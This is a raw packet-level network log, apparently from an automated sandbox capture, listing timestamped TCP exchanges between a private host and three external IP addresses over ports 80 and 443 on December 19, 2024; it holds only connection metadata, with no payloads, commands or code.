Dec 19, 2024 16:10:20.029782057 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.029795885 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.029823065 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.029843092 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.030709982 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.030752897 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.030817986 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.030922890 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.031819105 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.031908035 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.032103062 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.032155037 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.032984018 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.033034086 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.033592939 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.033704042 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.033977032 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.034106970 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.034285069 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.034379959 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.035142899 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.035206079 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.035254955 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.036459923 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.036519051 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.036569118 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.036760092 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.037363052 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.037439108 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.037671089 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.037714005 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.038507938 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.038599014 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.039083004 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.039134026 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.039762974 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.039827108 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.040290117 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.040657997 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.040719986 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.040766954 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.041616917 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.041685104 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.041970968 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.041990995 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.042017937 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.042047977 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.042972088 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.043030977 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.043279886 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.043370962 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.044084072 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.044147968 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.044190884 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.044262886 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.045197964 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.045264006 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.046283960 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.046334028 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.046390057 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.046904087 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.046953917 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.047744036 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.047799110 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.047893047 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.047951937 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.048620939 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.048664093 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.048727036 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.049730062 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.049806118 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.049866915 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.050164938 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.050903082 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.050955057 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.051366091 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.051537037 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.051930904 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.052000046 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.052165031 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.052212954 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.053141117 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.053157091 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.053183079 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.053201914 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.054277897 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.054291010 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.054333925 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.055366039 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.055448055 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.056284904 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.056339979 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.056714058 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.056725979 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.056763887 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.056787014 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.057898998 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.057946920 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.191126108 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.191145897 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.191194057 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.191447020 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.191531897 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.191638947 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.191706896 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.192547083 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.192559958 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.192738056 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.194065094 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.194118977 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.194525957 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.194838047 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.194897890 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.195983887 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.195997953 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.196546078 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.196599960 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.197051048 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.197115898 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.197288990 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.197473049 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.198267937 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.198615074 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.198635101 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.198699951 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.199363947 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.199415922 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.200054884 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.200112104 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.200500965 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.200553894 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.201014996 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.201066971 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.202290058 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.202353954 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.202578068 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.202590942 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.202625036 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.202920914 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.202967882 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.204000950 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.204014063 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.204049110 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.204971075 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.204984903 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.205039024 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.206041098 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.206104994 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.206181049 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.206229925 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.207231045 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.207245111 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.207300901 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.208426952 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.208479881 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.208703995 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.208754063 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.209692001 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.209816933 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.209866047 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.209918976 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.210479975 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.210609913 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.210663080 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.211730003 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.211749077 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.211791992 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.211863041 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.212909937 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.212928057 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.212971926 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.213140011 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.213905096 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.213958979 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.214274883 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.214329004 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.215029001 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.215044022 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.215090036 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.216147900 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.216207027 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.216239929 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.216295958 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.217330933 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.217386961 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.217411995 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.217432022 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.218288898 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.218342066 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.218586922 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.218705893 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.219744921 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.219760895 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.219808102 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.220900059 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.220915079 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.220983982 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.221751928 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.221765041 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.221812963 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.222879887 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.222893953 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.222960949 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.223958969 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.224026918 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.225059986 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.225075960 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.225120068 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.225608110 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.225660086 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.226289034 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.226346016 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.226917982 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.227082014 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.227550030 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.227565050 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.227617979 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.228427887 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.228449106 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.228487968 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.229693890 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.229710102 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.229959965 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.230767965 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.230945110 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.231373072 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.231518030 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.231954098 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.231969118 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.232011080 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.233211040 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.233226061 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.233273029 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.353198051 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.353219986 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.353260040 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.353293896 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.353296041 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.353311062 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.353348017 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.472660065 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.472681046 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.472729921 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.472784042 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.472799063 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.472826004 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.472851038 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.593028069 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593048096 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593060017 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593071938 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593102932 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593101978 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.593116045 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593132973 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593147039 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593153000 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.593158960 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593173027 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593174934 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.593185902 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593199015 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593199968 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.593226910 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.593257904 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593271971 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593300104 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.593379974 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.593391895 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593403101 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593415022 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593426943 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593441010 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.593446016 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593458891 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593470097 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.593482971 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593483925 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.593508005 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.593521118 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.593574047 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.593776941 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:22.982481003 CET	49855	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:22.983139992 CET	49875	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:23.102794886 CET	80	49855	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:23.102937937 CET	80	49875	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:23.103046894 CET	49855	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:23.103048086 CET	49875	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:23.103450060 CET	49875	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:23.223690987 CET	80	49875	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:24.437611103 CET	80	49875	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:24.438363075 CET	49875	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:24.615678072 CET	49879	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:24.615739107 CET	443	49879	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:24.615756989 CET	49880	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:24.615794897 CET	443	49880	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:24.615835905 CET	49879	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:24.615875959 CET	49880	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:24.617584944 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:24.617773056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:24.691102982 CET	49879	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:24.691133976 CET	443	49879	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:24.691335917 CET	49880	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:24.691355944 CET	443	49880	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:24.737412930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:24.737529039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:24.737605095 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:24.737688065 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:24.737729073 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:24.857677937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.070079088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.070158005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.070173025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.070184946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.070214033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.070219040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.070249081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.070251942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.070281982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.070288897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.070296049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.070307970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.070326090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.070349932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.070549011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.070561886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:26.070607901 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.070624113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:26.071000099 CET	443	49879	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.071074009 CET	49879	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:26.071624041 CET	443	49880	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.071774006 CET	49880	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:26.073431015 CET	49879	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:26.073438883 CET	443	49879	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.073736906 CET	443	49879	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.073833942 CET	49880	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:26.073858023 CET	443	49880	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.074160099 CET	443	49880	140.82.121.4	192.168.2.6
Dec 19, 2024 16:10:26.119977951 CET	49879	443	192.168.2.6	140.82.121.4
Dec 19, 2024 16:10:26.120069981 CET	49880	443	192.168.2.6	140.82.121.4
